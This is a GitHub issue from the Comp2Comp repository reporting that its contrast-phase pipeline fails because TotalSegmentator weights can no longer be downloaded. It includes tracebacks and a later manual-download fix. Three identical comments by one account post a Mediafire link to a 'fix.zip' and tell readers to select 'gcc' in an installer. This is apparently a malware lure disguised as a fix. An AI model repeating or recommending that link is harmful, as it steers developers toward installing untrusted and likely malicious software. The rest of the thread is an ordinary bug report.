StanfordMIMI / Comp2Comp

Computed tomography to body composition (Comp2Comp).
Apache License 2.0
59 stars 11 forks source link

contrast_phase pipeline broken due to TS weights unavailable #134

Open alkamid opened 4 weeks ago

alkamid commented 4 weeks ago

I tried running the contrast phase detection pipeline:

bin/C2C contrast_phase -i /data/dicom_dir/

This crashes with the following error:

Inference pipeline:
(1) DicomToNifti
(2) ContrastPhaseDetection

Starting inference pipeline for:

Running DicomToNifti with input keys odict_keys(['inference_pipeline'])
Finished DicomToNifti with output keys dict_keys([])

Running ContrastPhaseDetection with input keys odict_keys(['inference_pipeline'])
Segmenting...
Downloading pretrained weights for Task 251 (~230MB) ...
ERROR PROCESSING /data/dicom_dir

Traceback (most recent call last):
  File "/code/Comp2Comp/comp2comp/utils/process.py", line 131, in process_3d
    pipeline(output_dir=output_dir, model_dir=model_dir)
  File "/code/Comp2Comp/comp2comp/inference_pipeline.py", line 73, in __call__
    output = inference_class(inference_pipeline=self, **output)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/code/Comp2Comp/comp2comp/contrast_phase/contrast_phase.py", line 31, in __call__
    seg, img = self.run_segmentation(
               ^^^^^^^^^^^^^^^^^^^^^^
  File "/code/Comp2Comp/comp2comp/contrast_phase/contrast_phase.py", line 71, in run_segmentation
    download_pretrained_weights(task_id)
  File "/home/user/miniconda3/envs/c2c_env/lib/python3.11/site-packages/totalsegmentator/libs.py", line 194, in download_pretrained_weights
    download_url_and_unpack(WEIGHTS_URL, config_dir)
  File "/home/user/miniconda3/envs/c2c_env/lib/python3.11/site-packages/totalsegmentator/libs.py", line 80, in download_url_and_unpack
    raise e
  File "/home/user/miniconda3/envs/c2c_env/lib/python3.11/site-packages/totalsegmentator/libs.py", line 67, in download_url_and_unpack
    r.raise_for_status()
  File "/home/user/miniconda3/envs/c2c_env/lib/python3.11/site-packages/requests/models.py", line 1024, in raise_for_status
    raise HTTPError(http_error_msg, response=self)
requests.exceptions.HTTPError: 404 Client Error: Not Found for url: https://zenodo.org/record/6802342/files/Task251_TotalSegmentator_part1_organs_1139subj.zip?download=1

It looks like the forked TotalSegmentatorV1's version is 1.5.3:

$ pip list | grep Segmentator
TotalSegmentator              1.5.3
TotalSegmentatorV2            2.0.1

So it's unsurprising that zenodo downloads are failing, see https://github.com/wasserth/TotalSegmentator/issues/200

I thought I'd try a quick hack and ran pip install totalsegmentator==1.5.7, but then I'm getting the following from bin/C2C contrast_phase:

Traceback (most recent call last):
  File "/code/Comp2Comp/bin/C2C", line 13, in <module>
    from comp2comp.contrast_phase.contrast_phase import ContrastPhaseDetection
  File "/code/Comp2Comp/comp2comp/contrast_phase/contrast_phase.py", line 6, in <module>
    from totalsegmentator.libs import (
ImportError: cannot import name 'setup_nnunet' from 'totalsegmentator.libs' (/home/user/miniconda3/envs/c2c_env/lib/python3.11/site-packages/totalsegmentator/libs.py)
1sopropanol commented 4 weeks ago

Download https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file In the installer menu, select "gcc."

1sopropanol commented 4 weeks ago

Download https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file In the installer menu, select "gcc."

1sopropanol commented 4 weeks ago

Download https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file In the installer menu, select "gcc."

dkarakay commented 1 week ago

I found a solution. Download weights from your browser adn extract zip file. Then go to Comp2Comp/models/.totalsegmentator/nnunet/results/nnUNet/3d_fullres/ and copy the extracted folder here. This time it will work, because we are downloading the pre-trained weights manually.